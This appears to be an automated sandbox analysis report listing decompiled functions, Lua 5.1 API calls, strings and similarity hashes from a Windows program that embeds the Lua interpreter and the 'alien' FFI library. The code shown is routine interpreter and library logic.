API ID: L_typerror.lua_isuserdata.lua_touserdata.$L_checkinteger.L_optinteger.lua_isstring.lua_tolstring.memcpy
String ID: string, userdata, or light userdata$userdata, or light userdata
API String ID: 3077330360-2380118492
Opcode ID: 0dbd561101c16730f68e0911a6137105968e1b09c3b42765289df8f69f3df783
Instruction ID: 4e817275109e5e5e8d23987968402aefcc1f4f3b9111bfc369f047b7a9630ed4
Opcode Fuzzy Hash: 0dbd561101c16730f68e0911a6137105968e1b09c3b42765289df8f69f3df783
Instruction Fuzzy Hash: 6B11C262E5139236E728B6232C4FF6B2D9C7FD1711F040438F9D4A7182F699DF0941A6

Uniqueness

Uniqueness Score: -1.00%

Function 00401230, Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E00401230(char* __eax, void* __esi) {
				void* _t4;
				void* _t6;
				intOrPtr* _t7;
				void* _t11;
				void* _t12;
				void* _t15;
				void* _t16;
				void* _t20;

				_t11 = __esi;
				_t1 = __eax;
				_push(__eax);
				_push(__esi);
				L00401F66();
				_t16 = _t15 + 8;
				if(__eax != 0) {
					L3:
					_push(0xffffffff);
					_push(_t11);
					L00401F4E();
					if(_t1 != 0) {
						_push(0);
						_push(0xffffffff);
						_push(_t11);
						L00401F36();
						if(_t1 == 0) {
							_t1 = "(error object is not a string)";
						}
						E00401060(_t1);
						_push(0xfffffffe);
						_push(_t11);
						L00401F0C();
					}
					return 1;
				} else {
					L00401F00();
					L00401F5A();
					L00401F06();
					_t7 = __imp__signal;
					_t4 =  *_t7(2, E00401030, __esi, __eax, __esi, E004010B0, 0, __esi, _t12, _t6);
					L00401F60();
					_t1 =  *_t7(2, 0, __esi, 0, 0, __eax);
					_push(__eax);
					_push(__esi);
					L00401F7E();
					_t20 = _t16 + 0x40;
					if(_t4 == 0) {
						return 0;
					} else {
						_push(0);
						_push(2);
						_push(__esi);
						L00401ED6();
						_t16 = _t20 + 0xc;
						goto L3;
					}
				}
			}

0x00401230
0x00401230
0x00401231
0x00401232
0x00401233
0x00401238
0x0040123d
0x0040129c
0x0040129c
0x0040129e
0x004012a4
0x004012ae
0x004012b0
0x004012b2
0x004012b4
0x004012b5
0x004012bf
0x004012c1
0x004012c1
0x004012cc
0x004012d1
0x004012d3
0x004012d4
0x004012d9
0x004012df
0x0040123f
0x00401242
0x00401251
0x00401258
0x0040125d
0x0040126a
0x00401272
0x0040127d
0x0040127f
0x00401280
0x00401281
0x00401286
0x0040128d
0x004012e3
0x0040128f
0x0040128f
0x00401291
0x00401293
0x00401294
0x00401299
0x00000000
0x00401299
0x0040128d

APIs

luaL_loadfile.LUA5.1 ref: 00401233
lua_gettop.LUA5.1 ref: 00401242
lua_pushcclosure.LUA5.1(?,Function_000010B0,00000000), ref: 00401251
lua_insert.LUA5.1(?,00000000,?,Function_000010B0,00000000), ref: 00401258
signal.MSVCR80 ref: 0040126A
lua_pcall.LUA5.1(?,00000000,00000000,00000000,?,00000000,?,Function_000010B0,00000000), ref: 00401272
signal.MSVCR80 ref: 0040127D
lua_remove.LUA5.1(?,00000000,?,00000000,00000000,00000000,?,00000000,?,Function_000010B0,00000000), ref: 00401281
lua_gc.LUA5.1(?,00000002,00000000), ref: 00401294
lua_type.LUA5.1(?,000000FF), ref: 004012A4
lua_tolstring.LUA5.1(?,000000FF,00000000), ref: 004012B5
lua_settop.LUA5.1(?,000000FE,00000000), ref: 004012D4

Strings

(error object is not a string), xrefs: 004012C1, 004012C6

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: signal$L_loadfile.lua_gc.lua_gettop.lua_insert.lua_pcall.lua_pushcclosure.lua_remove.lua_settop.lua_tolstring.lua_type.
String ID: (error object is not a string)
API String ID: 1065406996-1990977736
Opcode ID: a9d10e1131125620e8125551ceb34321ec4c2048afaafac1bac3101178478327
Instruction ID: 609089661e421deb50f08e59b38932f62a38838d93456669bdb35b7bb1a0a8a5
Opcode Fuzzy Hash: a9d10e1131125620e8125551ceb34321ec4c2048afaafac1bac3101178478327
Instruction Fuzzy Hash: 8811967274521636E52132766C03F5B224C4F927A9F24027FFA14F52E6FBBDAA0140BE

Uniqueness

Uniqueness Score: -1.00%

Function 10010470, Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

lua_type.LUA5.1(?,00000001,?,?), ref: 1001047C
lua_pushvalue.LUA5.1(?,00000001,?,?), ref: 1001048C
luaL_optinteger.LUA5.1(?,00000001,00000001,?,?), ref: 100104A7
luaL_argerror.LUA5.1(?,00000001,level must be non-negative,?,?,?,?), ref: 100104C8
lua_getstack.LUA5.1(?,00000000,?,?,?,?,?), ref: 100104D7
luaL_argerror.LUA5.1(?,00000001,invalid level,?,?,?,?,?,?,?), ref: 100104EB
lua_getinfo.LUA5.1(?,10019DE0,?,?,?,?,?,?,?,?), ref: 100104FE
lua_type.LUA5.1(?,000000FF,?,10019DE0,?,?,?,?,?,?,?,?), ref: 10010506
luaL_error.LUA5.1(?,no function environment for tail call at level %d,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 10010519

Strings

invalid level, xrefs: 100104E3
no function environment for tail call at level %d, xrefs: 10010513
level must be non-negative, xrefs: 100104C0

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.lua_type.$L_error.L_optinteger.lua_getinfo.lua_getstack.lua_pushvalue.
String ID: invalid level$level must be non-negative$no function environment for tail call at level %d
API String ID: 2520475139-666454301
Opcode ID: 3c3b0dba6d6906cf0e8e271301f92da2a83eee23d37a91dc1502aed2cce9eadf
Instruction ID: e862c6dc223d550a73eb607c452ed5feadd38fb641434d4ab946053b96478e46
Opcode Fuzzy Hash: 3c3b0dba6d6906cf0e8e271301f92da2a83eee23d37a91dc1502aed2cce9eadf
Instruction Fuzzy Hash: 2E11A1BEA00A2132E511D1247C83FDF3298CFA2698F440024FE45A9287FAE6E39541E7

Uniqueness

Uniqueness Score: -1.00%

Function 00591010, Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E00591010(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _t6;
				intOrPtr _t14;
				intOrPtr* _t15;
				intOrPtr _t16;
				void* _t17;
				void* _t18;

				_t16 = _a4;
				_t14 = _a8;
				_push(_t14);
				_push(_t16);
				L00594AD6();
				_push("__index");
				_push(_t16);
				L00594AD0();
				_push(0);
				_push(0);
				_push(_t16);
				L00594ACA();
				_push("class");
				_push(_t16);
				L00594AD0();
				_push(_t14);
				_push(_t16);
				L00594AD0();
				_push(0xfffffffd);
				_push(_t16);
				L00594AC4();
				_t15 = _a12;
				_t18 = _t17 + 0x34;
				_t6 =  *_t15;
				while(_t6 != 0) {
					_push(_t6);
					_push(_t16);
					L00594AD0();
					_push(0);
					_push( *((intOrPtr*)(_t15 + 4)));
					_push(_t16);
					L00594ABE();
					asm("sbb edx, edx");
					_push(( ~( *((intOrPtr*)( *_t15)) - 0x5f) & 0x00000002) + 0xfffffffb);
					_push(_t16);
					L00594AC4();
					_t6 =  *((intOrPtr*)(_t15 + 8));
					_t15 = _t15 + 8;
					_t18 = _t18 + 0x1c;
				}
				_push(0xfffffffd);
				_push(_t16);
				L00594AC4();
				_push(0xfffffffe);
				_push(_t16);
				L00594AB8();
				return _t6;
			}

0x00591011
0x00591016
0x0059101a
0x0059101b
0x0059101c
0x00591021
0x00591026
0x00591027
0x0059102c
0x0059102e
0x00591030
0x00591031
0x00591036
0x0059103b
0x0059103c
0x00591041
0x00591042
0x00591043
0x00591048
0x0059104a
0x0059104b
0x00591050
0x00591054
0x00591057
0x0059105b
0x0059105d
0x0059105e
0x0059105f
0x00591067
0x00591069
0x0059106a
0x0059106b
0x00591079
0x00591081
0x00591082
0x00591083
0x00591088
0x0059108b
0x0059108e
0x00591091
0x00591095
0x00591097
0x00591098
0x0059109d
0x0059109f
0x005910a0
0x005910aa

APIs

luaL_newmetatable.LUA5.1(?,?), ref: 0059101C
lua_pushstring.LUA5.1(?,__index,?,?), ref: 00591027
lua_createtable.LUA5.1(?,00000000,00000000,?,__index,?,?), ref: 00591031
lua_pushstring.LUA5.1(?,class,?,00000000,00000000,?,__index,?,?), ref: 0059103C
lua_pushstring.LUA5.1(?,?,?,class,?,00000000,00000000,?,__index,?,?), ref: 00591043
lua_rawset.LUA5.1(?,000000FD,?,?,?,class,?,00000000,00000000,?,__index,?,?), ref: 0059104B
lua_pushstring.LUA5.1(?,00000000), ref: 0059105F
lua_pushcclosure.LUA5.1(?,?,00000000,?,00000000), ref: 0059106B
lua_rawset.LUA5.1(?,?,?,?,00000000,?,00000000), ref: 00591083
lua_rawset.LUA5.1(?,000000FD), ref: 00591098
lua_settop.LUA5.1(?,000000FE,?,000000FD), ref: 005910A0

Strings

__index, xrefs: 00591021
class, xrefs: 00591036

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushstring.$lua_rawset.$L_newmetatable.lua_createtable.lua_pushcclosure.lua_settop.
String ID: __index$class
API String ID: 3753550674-2055320668
Opcode ID: 0b70979afb6667c862c3d20ff1833323971b5e8b350722ad68cf826f4c4be666
Instruction ID: 78c08ab16e650efbbb49541b3da2ae4116295982f64f8971c1b20eca61bb65cf
Opcode Fuzzy Hash: 0b70979afb6667c862c3d20ff1833323971b5e8b350722ad68cf826f4c4be666
Instruction Fuzzy Hash: 0701B96158992336DE11F6288C0AF9F6B5EBFC3729F180304F520661D2DB14AE138AED

Uniqueness

Uniqueness Score: -1.00%

Function 00593240, Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 157
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00593240(intOrPtr __eax, long long __fp0, intOrPtr _a4) {
				char _v264;
				char _v524;
				char _v548;
				intOrPtr _v552;
				long long _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				void* _t32;
				intOrPtr _t33;
				void* _t40;
				void* _t52;
				intOrPtr _t71;
				intOrPtr _t76;

				_t93 = __fp0;
				_t76 = _a4;
				_push(0xbff00000);
				_push(0);
				_push(3);
				_push(_t76);
				L00594B72();
				_v556 = __fp0;
				_push(3);
				_push(_t76);
				_v524 = 0;
				_v264 = 0;
				L00594AB8();
				_push(0);
				_push(0);
				_push(_t76);
				L00594ACA();
				_push(_t76);
				L00594B60();
				_push(0);
				_push(0);
				_push(_t76);
				_t71 = __eax;
				L00594ACA();
				_push(_t76);
				L00594B60();
				_push(0);
				_push(0);
				_push(_t76);
				_v568 = __eax;
				L00594ACA();
				_push(_t76);
				L00594B60();
				_v560 = __eax;
				_t32 = E005933E0(__fp0, _t76, 1, 0xffffffff, __eax,  &_v524);
				_push( &_v524);
				_push(_v568);
				_push(1);
				_push(_t76);
				_t52 = _t32;
				_t33 = E00593540(__fp0);
				_v564 = _t33;
				if(_t33 > 0) {
					_v556 = 0;
					_v552 = 0;
				}
				_push(0xbff00000);
				E00592CE0( &_v548, _v556, _v552, 0);
				E00592DC0(_t93,  &_v548);
				_t19 = E005933E0(_t93, _t76, 2, _t52, _t71,  &_v264) + 1; // 0x1
				_t53 = _t19;
				_t40 = E00594130(_t93, _t19,  &_v524,  &_v264, 0,  &_v548);
				if(_t40 > 0 || _v564 > 0) {
					E005936B0(_t93, _t76,  &_v524, _t53, _t71, _v568, _v564);
					E00593730(E00593730(E005936B0(_t93, _t76,  &_v264, _t53, _t71, _v560, 0), _t93, _t76, _v568), _t93, _t76, _v560);
					return 2;
				} else {
					if(_t40 != 0) {
						_push("error");
						_push(_t76);
						L00594AD0();
						return 3;
					} else {
						_push("timeout");
						_push(_t76);
						L00594AD0();
						return 3;
					}
				}
			}

0x00593240
0x0059324e
0x00593254
0x00593259
0x0059325a
0x0059325c
0x0059325d
0x00593262
0x00593266
0x00593268
0x00593269
0x0059326d
0x00593274
0x00593279
0x0059327a
0x0059327b
0x0059327c
0x00593281
0x00593282
0x00593287
0x00593288
0x00593289
0x0059328a
0x0059328c
0x00593291
0x00593292
0x00593297
0x00593298
0x00593299
0x0059329a
0x0059329e
0x005932a6
0x005932a7
0x005932ac
0x005932bb
0x005932c8
0x005932c9
0x005932ca
0x005932cc
0x005932cd
0x005932cf
0x005932d7
0x005932dd
0x005932df
0x005932e7
0x005932e7
0x005932f7
0x00593305
0x0059330f
0x0059332a
0x0059332a
0x0059333e
0x00593348
0x0059339c
0x005933c9
0x005933dc
0x00593352
0x00593354
0x00593370
0x00593375
0x00593376
0x00593389
0x00593356
0x00593356
0x0059335b
0x0059335c
0x0059336f
0x0059336f
0x00593354

APIs

luaL_optnumber.LUA5.1(?,00000003,00000000,BFF00000), ref: 0059325D
lua_settop.LUA5.1(?,00000003,?,00000003,00000000,BFF00000), ref: 00593274
lua_createtable.LUA5.1(?,00000000,00000000,?,00000003,?,00000003,00000000,BFF00000), ref: 0059327C
lua_gettop.LUA5.1(?,?,00000000,00000000,?,00000003,?,00000003,00000000,BFF00000), ref: 00593282
lua_createtable.LUA5.1(?,00000000,00000000,?,?,00000000,00000000,?,00000003,?,00000003,00000000,BFF00000), ref: 0059328C
lua_gettop.LUA5.1(?,?,00000000,00000000,?,?,00000000,00000000,?,00000003,?,00000003,00000000,BFF00000), ref: 00593292
lua_createtable.LUA5.1(?,00000000,00000000,?,?,00000000,00000000,?,?,00000000,00000000,?,00000003,?,00000003,00000000), ref: 0059329E
lua_gettop.LUA5.1(?), ref: 005932A7

Part of subcall function 005933E0: lua_type.LUA5.1 ref: 005933FC

Part of subcall function 00593540: lua_type.LUA5.1(000000FF,00000000,?,?,?,005932D4,?,00000001,?,?,?,00000001), ref: 00593557

lua_pushstring.LUA5.1(?,timeout), ref: 0059335C
lua_pushstring.LUA5.1(?,error), ref: 00593376

Strings

timeout, xrefs: 00593356
error, xrefs: 00593370

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_createtable.lua_gettop.$lua_pushstring.lua_type.$L_optnumber.lua_settop.
String ID: error$timeout
API String ID: 3676767314-3980372344
Opcode ID: 35b969708a88c86e4bd775ebb8a99226414c718908ab81b7a23eb594dcb68f0e
Instruction ID: ffcc7ba14ae64bcbcc2f3c5bc1d7d455893fdb834d02ccd2930725cc273e8bf5
Opcode Fuzzy Hash: 35b969708a88c86e4bd775ebb8a99226414c718908ab81b7a23eb594dcb68f0e
Instruction Fuzzy Hash: 8C41CEB22053057AEB10EB64DC86FAF7BACFFC5354F004A1CF54492241EA749E058BE6

Uniqueness

Uniqueness Score: -1.00%

Function 10015EF0, Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 149stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 10015F0F
luaL_error.LUA5.1(?,invalid format (repeated flags),00000002,00000001,?,?,10015BAD,?,00000001,?), ref: 10015F33
_isctype.MSVCRT ref: 10015F53
_isctype.MSVCRT ref: 10015F83
_isctype.MSVCRT ref: 10015FB8
_isctype.MSVCRT ref: 10015FE7
_isctype.MSVCRT ref: 10016017
luaL_error.LUA5.1(?,invalid format (width or precision too long),00000002,00000001,?,?,10015BAD,?,00000001,?), ref: 1001603A
strncpy.MSVCRT ref: 10016054

Strings

invalid format (repeated flags), xrefs: 10015F2D
invalid format (width or precision too long), xrefs: 10016034
-+ #0, xrefs: 10015F0A

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: _isctype$L_error.$strchrstrncpy
String ID: -+ #0$invalid format (repeated flags)$invalid format (width or precision too long)
API String ID: 1263742585-3328158417
Opcode ID: 0c5fd276934c4c8010957cb0a4ffaca898b06c8e7dab1ffb6794f4d30b234629
Instruction ID: bf244b8073dfa03b507056284243ae7c65b55c8c1b8dea7c3332d435bca47c31
Opcode Fuzzy Hash: 0c5fd276934c4c8010957cb0a4ffaca898b06c8e7dab1ffb6794f4d30b234629
Instruction Fuzzy Hash: AD41B574204291CFE312CF248C917667BF5EF4E245F2944BCE9C58F251DA36E896CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 100101C0, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 110stringCOMMON

Download Yara Rule

APIs

luaL_optinteger.LUA5.1(?,00000002,0000000A), ref: 100101CF

Part of subcall function 1000F600: lua_type.LUA5.1(?,?), ref: 1000F60C

luaL_checkany.LUA5.1(?,00000001), ref: 100101E1

Part of subcall function 1000F470: lua_type.LUA5.1(?,?), ref: 1000F47C
Part of subcall function 1000F470: luaL_argerror.LUA5.1(?,?,value expected), ref: 1000F490

lua_isnumber.LUA5.1(?,00000001,?,00000001), ref: 100101E9
lua_tonumber.LUA5.1(?,00000001), ref: 100101FC
lua_pushnumber.LUA5.1(?,?,00000001), ref: 10010205
luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 1001021F
luaL_argerror.LUA5.1(?,00000002,base out of range), ref: 1001023B
strtoul.MSVCRT ref: 1001024A
_isctype.MSVCRT ref: 10010276
lua_pushnumber.LUA5.1(?), ref: 100102B9
lua_pushnil.LUA5.1(?), ref: 100102CE

Strings

base out of range, xrefs: 10010233

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.lua_pushnumber.lua_type.$L_checkany.L_checklstring.L_optinteger._isctypelua_isnumber.lua_pushnil.lua_tonumber.strtoul
String ID: base out of range
API String ID: 1721004851-1316682021
Opcode ID: a761916a13351d324bb90dfe20cb7c1245e7ccb7669a5eec7431728ee1b117a7
Instruction ID: aa391e7296bd25b7877d2af0e1fb9873eb7ec9d51fec86cf74cae5ecd3c228cb
Opcode Fuzzy Hash: a761916a13351d324bb90dfe20cb7c1245e7ccb7669a5eec7431728ee1b117a7
Instruction Fuzzy Hash: A8312E75F443005BE210E624ACC2B9A77D8EB45395F044465FDC59F283EABAE58883A2

Uniqueness

Uniqueness Score: -1.00%

Function 005E11C0, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 86
libraryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E005E11C0(intOrPtr _a4) {
				char _v4;
				void* __edi;
				CHAR* _t6;
				CHAR* _t9;
				CHAR* _t14;
				char _t15;
				char _t18;
				void* _t20;
				intOrPtr _t21;
				CHAR* _t22;
				char _t23;
				void* _t24;
				void* _t26;
				void* _t28;

				_t21 = _a4;
				_t6 =  &_v4;
				_push(_t6);
				_push(_t21);
				L005E3F38();
				_push(_t6);
				_push(_t21);
				L005E3F32();
				_t14 = _t6;
				_t23 = malloc(_v4 + 1);
				_t26 = _t24 + 0x14;
				if(_t23 == 0) {
					_push("out of memory!");
					_push(_t21);
					L005E3F26();
					return 0;
				} else {
					_t9 = _t14;
					_t20 = _t23 - _t14;
					do {
						_t18 =  *_t9;
						 *((char*)(_t20 + _t9)) = _t18;
						_t9 =  &(_t9[1]);
					} while (_t18 != 0);
					_push(8);
					_push(_t21);
					L005E3F2C();
					_t22 = _t9;
					_t28 = _t26 + 8;
					if(_t22 == 0) {
						_push("out of memory!");
						_push(_t21);
						L005E3F26();
						_t28 = _t28 + 8;
					}
					_t15 = LoadLibraryA(_t14);
					if(_t15 != 0) {
						_push("alien_library");
						_push(0xffffd8f0);
						_push(_t21);
						L005E3F02();
						_push(0xfffffffe);
						_push(_t21);
						L005E3F1A();
						 *_t22 = _t15;
						_t22[4] = _t23;
						return 1;
					} else {
						E005E1080(_t21);
						_push(_t21);
						L005E3F20();
						return 0;
					}
				}
			}

0x005e11c5
0x005e11c9
0x005e11cd
0x005e11ce
0x005e11cf
0x005e11d7
0x005e11d8
0x005e11d9
0x005e11e6
0x005e11ee
0x005e11f0
0x005e11f5
0x005e127a
0x005e127f
0x005e1280
0x005e128f
0x005e11fb
0x005e11fd
0x005e11ff
0x005e1201
0x005e1201
0x005e1203
0x005e1206
0x005e1209
0x005e120d
0x005e120f
0x005e1210
0x005e1215
0x005e1217
0x005e121c
0x005e121e
0x005e1223
0x005e1224
0x005e1229
0x005e1229
0x005e1233
0x005e1237
0x005e124f
0x005e1254
0x005e1259
0x005e125a
0x005e125f
0x005e1261
0x005e1262
0x005e126b
0x005e126d
0x005e1279
0x005e1239
0x005e1239
0x005e123e
0x005e123f
0x005e124e
0x005e124e
0x005e1237

APIs

lua_gettop.LUA5.1(?,?), ref: 005E11CF
luaL_checklstring.LUA5.1(?,00000000), ref: 005E11D9
malloc.MSVCR80 ref: 005E11E8
lua_newuserdata.LUA5.1(?,00000008), ref: 005E1210
luaL_error.LUA5.1(?,out of memory!), ref: 005E1224
LoadLibraryA.KERNEL32(00000000), ref: 005E122D
lua_error.LUA5.1(?), ref: 005E123F
lua_getfield.LUA5.1(?,FFFFD8F0,alien_library), ref: 005E125A
lua_setmetatable.LUA5.1(?,000000FE,?,FFFFD8F0,alien_library), ref: 005E1262
luaL_error.LUA5.1(?,out of memory!), ref: 005E1280

Strings

alien_library, xrefs: 005E124F
out of memory!, xrefs: 005E121E, 005E127A

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error.$L_checklstring.LibraryLoadlua_error.lua_getfield.lua_gettop.lua_newuserdata.lua_setmetatable.malloc
String ID: alien_library$out of memory!
API String ID: 3439651773-1405673311
Opcode ID: 37da10053d35a452fb6d5098359617029b2178d4f6fb53877255409ab19e50c5
Instruction ID: 0d2528cff50f93a70d174c782f6a76bc66581bb59f91e03fc0379a1f82206486
Opcode Fuzzy Hash: 37da10053d35a452fb6d5098359617029b2178d4f6fb53877255409ab19e50c5
Instruction Fuzzy Hash: 59118073A042826BC7082A2B6C8A93F7FA8FFD1321B14003DF5C1C3202FE6994055161

Uniqueness

Uniqueness Score: -1.00%

Function 004010B0, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E004010B0(void* __eax, intOrPtr _a4) {
				intOrPtr _t6;

				_t6 = _a4;
				_push(1);
				_push(_t6);
				L00401F18();
				if(__eax == 0) {
					L6:
					return 1;
				} else {
					_push("debug");
					_push(0xffffd8ee);
					_push(_t6);
					L00401EE2();
					_push(0xffffffff);
					_push(_t6);
					L00401F4E();
					if(__eax == 5) {
						_push("traceback");
						_push(0xffffffff);
						_push(_t6);
						L00401EE2();
						_push(0xffffffff);
						_push(_t6);
						L00401F4E();
						if(__eax == 6) {
							_push(1);
							_push(_t6);
							L00401EEE();
							_push(2);
							_push(_t6);
							L00401F8A();
							_push(1);
							_push(2);
							_push(_t6);
							L00401F78();
							goto L6;
						} else {
							_push(0xfffffffd);
							_push(_t6);
							L00401F0C();
							return 1;
						}
					} else {
						_push(0xfffffffe);
						_push(_t6);
						L00401F0C();
						return 1;
					}
				}
			}

0x004010b1
0x004010b5
0x004010b7
0x004010b8
0x004010c2
0x00401142
0x00401148
0x004010c4
0x004010c4
0x004010c9
0x004010ce
0x004010cf
0x004010d4
0x004010d6
0x004010d7
0x004010e2
0x004010f6
0x004010fb
0x004010fd
0x004010fe
0x00401103
0x00401105
0x00401106
0x00401111
0x00401125
0x00401127
0x00401128
0x0040112d
0x0040112f
0x00401130
0x00401135
0x00401137
0x00401139
0x0040113a
0x00000000
0x00401113
0x00401113
0x00401115
0x00401116
0x00401124
0x00401124
0x004010e4
0x004010e4
0x004010e6
0x004010e7
0x004010f5
0x004010f5
0x004010e2

APIs

lua_isstring.LUA5.1(?,00000001), ref: 004010B8
lua_getfield.LUA5.1(?,FFFFD8EE,debug), ref: 004010CF
lua_type.LUA5.1(?,000000FF,?,FFFFD8EE,debug), ref: 004010D7
lua_settop.LUA5.1(?,000000FE), ref: 004010E7
lua_getfield.LUA5.1(?,000000FF,traceback), ref: 004010FE
lua_type.LUA5.1(?,000000FF,?,000000FF,traceback), ref: 00401106
lua_settop.LUA5.1(?,000000FD), ref: 00401116

Strings

traceback, xrefs: 004010F6
debug, xrefs: 004010C4

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_getfield.lua_settop.lua_type.$lua_isstring.
String ID: debug$traceback
API String ID: 3829249094-120824644
Opcode ID: ec8179198e74a3ba0cf95919a1953d14fd26624f19738b8cc6b635adb13d735e
Instruction ID: 663e994950555ae319600f3ef6b6b2ff4956610ed52c8e135a580ac33c4f3c89
Opcode Fuzzy Hash: ec8179198e74a3ba0cf95919a1953d14fd26624f19738b8cc6b635adb13d735e
Instruction Fuzzy Hash: 94014B61A1952232D962321D6C83FCE10094F02325F65437BF920792E6EBBE4A8200EE

Uniqueness

Uniqueness Score: -1.00%

Function 005E3AD0, Relevance: 21.0, APIs: 7, Strings: 5, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E005E3AD0(intOrPtr* __eax, void* __esi) {

				_push("<R^");
				_push(0);
				L005E3FF2();
				_push(7);
				_push("windows");
				L005E3FC8();
				_push("platform");
				_push(0xfffffffe);
				L005E3F3E();
				_push(8);
				L005E3F2C();
				_push("alien_library");
				_push(0xffffd8f0);
				 *__eax = 0;
				 *(__eax + 4) = "default";
				L005E3F02();
				_push(0xfffffffe);
				L005E3F1A();
				_push("default");
				_push(0xfffffffe);
				L005E3F3E();
				return 1;
			}

0x005e3ad0
0x005e3ad5
0x005e3ad8
0x005e3add
0x005e3adf
0x005e3ae5
0x005e3aea
0x005e3aef
0x005e3af2
0x005e3af7
0x005e3afa
0x005e3aff
0x005e3b04
0x005e3b0a
0x005e3b10
0x005e3b17
0x005e3b1c
0x005e3b1f
0x005e3b27
0x005e3b2c
0x005e3b2f
0x005e3b3c

APIs

luaL_register.LUA5.1(?,00000000,<R^,005E3EE2), ref: 005E3AD8
lua_pushlstring.LUA5.1(?,windows,00000007,?,00000000,<R^,005E3EE2), ref: 005E3AE5
lua_setfield.LUA5.1(?,000000FE,platform,?,windows,00000007,?,00000000,<R^,005E3EE2), ref: 005E3AF2
lua_newuserdata.LUA5.1(?,00000008,?,000000FE,platform,?,windows,00000007,?,00000000,<R^,005E3EE2), ref: 005E3AFA
lua_getfield.LUA5.1(?,FFFFD8F0,alien_library,?,00000008,?,000000FE,platform,?,windows,00000007,?,00000000,<R^,005E3EE2), ref: 005E3B17
lua_setmetatable.LUA5.1(?,000000FE,?,FFFFD8F0,alien_library,?,00000008,?,000000FE,platform,?,windows,00000007,?,00000000,<R^), ref: 005E3B1F
lua_setfield.LUA5.1(?,000000FE,default), ref: 005E3B2F

Strings

<R^, xrefs: 005E3AD0
alien_library, xrefs: 005E3AFF
platform, xrefs: 005E3AEA
default, xrefs: 005E3B10, 005E3B27
windows, xrefs: 005E3ADF

Memory Dump Source

